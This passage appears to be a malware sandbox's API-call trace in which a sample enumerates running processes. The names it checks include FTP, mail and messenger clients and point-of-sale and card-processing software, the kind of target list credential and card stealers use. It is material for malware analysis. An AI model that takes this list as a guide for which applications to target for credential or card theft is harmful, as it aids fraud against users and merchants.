cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.066] lstrlenW (lpString="svchost.exe") returned 11 [0041.066] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0041.067] lstrlenW (lpString="audiodg.exe") returned 11 [0041.067] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.068] lstrlenW (lpString="svchost.exe") returned 11 [0041.068] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.069] lstrlenW (lpString="svchost.exe") returned 11 [0041.069] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0041.071] lstrlenW (lpString="dwm.exe") returned 7 [0041.071] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0041.072] lstrlenW (lpString="explorer.exe") returned 12 [0041.072] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0041.073] lstrlenW (lpString="spoolsv.exe") returned 11 [0041.073] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.074] lstrlenW (lpString="taskhost.exe") returned 12 [0041.074] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.075] lstrlenW (lpString="svchost.exe") returned 11 [0041.075] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0041.076] lstrlenW (lpString="taskeng.exe") returned 11 [0041.076] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.077] lstrlenW (lpString="taskhost.exe") returned 12 [0041.077] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.078] lstrlenW (lpString="svchost.exe") returned 11 [0041.078] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0041.079] lstrlenW (lpString="sppsvc.exe") returned 10 [0041.079] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.080] lstrlenW (lpString="svchost.exe") returned 11 [0041.080] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0041.081] lstrlenW (lpString="barrelsince.exe") returned 15 [0041.081] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0041.082] lstrlenW (lpString="cricket.exe") returned 11 [0041.082] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0041.083] lstrlenW (lpString="angelsalot.exe") returned 14 [0041.083] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0041.084] lstrlenW (lpString="bridge.exe") returned 10 [0041.084] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0041.085] lstrlenW (lpString="sh_shipping.exe") returned 15 [0041.085] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0041.086] lstrlenW (lpString="tobacco packet.exe") returned 18 [0041.086] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0041.087] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0041.087] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0041.088] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0041.088] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0041.089] lstrlenW (lpString="widespread.exe") returned 14 [0041.089] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0041.090] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0041.090] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0041.091] lstrlenW (lpString="zinc.exe") returned 8 [0041.091] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0041.092] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0041.092] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0041.093] lstrlenW (lpString="construction_rice.exe") returned 21 [0041.093] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0041.094] lstrlenW (lpString="mask.exe") returned 8 [0041.094] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0041.095] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0041.095] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0041.096] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0041.096] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0041.097] lstrlenW (lpString="curve standing.exe") returned 18 [0041.097] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0041.098] lstrlenW (lpString="3dftp.exe") returned 9 [0041.098] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0041.099] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0041.099] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0041.100] lstrlenW (lpString="alftp.exe") returned 9 [0041.100] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0041.101] lstrlenW (lpString="barca.exe") returned 9 [0041.101] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0041.101] lstrlenW (lpString="bitkinex.exe") returned 12 [0041.102] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0041.102] lstrlenW (lpString="coreftp.exe") returned 11 [0041.102] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0041.103] lstrlenW (lpString="far.exe") returned 7 [0041.103] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0041.104] lstrlenW (lpString="filezilla.exe") returned 13 [0041.105] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0041.105] lstrlenW (lpString="flashfxp.exe") returned 12 [0041.105] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0041.106] lstrlenW (lpString="fling.exe") returned 9 [0041.106] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0041.107] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0041.107] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0041.108] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0041.108] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0041.109] lstrlenW (lpString="icq.exe") returned 7 [0041.109] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0041.110] lstrlenW (lpString="leechftp.exe") returned 12 [0041.110] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0041.111] lstrlenW (lpString="ncftp.exe") returned 9 [0041.111] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0041.113] lstrlenW (lpString="notepad.exe") returned 11 [0041.113] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0041.114] lstrlenW (lpString="operamail.exe") returned 13 [0041.114] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0041.115] lstrlenW (lpString="outlook.exe") returned 11 [0041.145] CloseHandle (hObject=0xe4) returned 1 [0041.145] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0041.147] lstrlenW (lpString="pidgin.exe") returned 10 [0041.148] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0041.149] lstrlenW (lpString="scriptftp.exe") returned 13 [0041.149] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0041.150] lstrlenW (lpString="skype.exe") returned 9 [0041.150] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0041.153] lstrlenW (lpString="smartftp.exe") returned 12 [0041.153] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0041.154] lstrlenW (lpString="thunderbird.exe") returned 15 [0041.154] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0041.156] lstrlenW (lpString="totalcmd.exe") returned 12 [0041.156] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0041.157] lstrlenW (lpString="trillian.exe") returned 12 [0041.157] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0041.158] lstrlenW (lpString="webdrive.exe") returned 12 [0041.158] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0041.160] lstrlenW (lpString="whatsapp.exe") returned 12 [0041.160] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0041.167] lstrlenW (lpString="winscp.exe") returned 10 [0041.167] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0041.168] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0041.168] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0041.169] lstrlenW (lpString="active-charge.exe") returned 17 [0041.169] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0041.170] lstrlenW (lpString="accupos.exe") returned 11 [0041.170] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0041.172] lstrlenW (lpString="afr38.exe") returned 9 [0041.172] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0041.173] lstrlenW (lpString="aldelo.exe") returned 10 [0041.173] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0041.174] lstrlenW (lpString="ccv_server.exe") returned 14 [0041.174] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0041.175] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0041.175] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0041.176] lstrlenW (lpString="creditservice.exe") returned 17 [0041.176] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0041.178] lstrlenW (lpString="edcsvr.exe") returned 10 [0041.178] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0041.179] lstrlenW (lpString="fpos.exe") returned 8 [0041.179] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0041.180] lstrlenW (lpString="isspos.exe") returned 10 [0041.180] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0041.181] lstrlenW (lpString="mxslipstream.exe") returned 16 [0041.181] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, 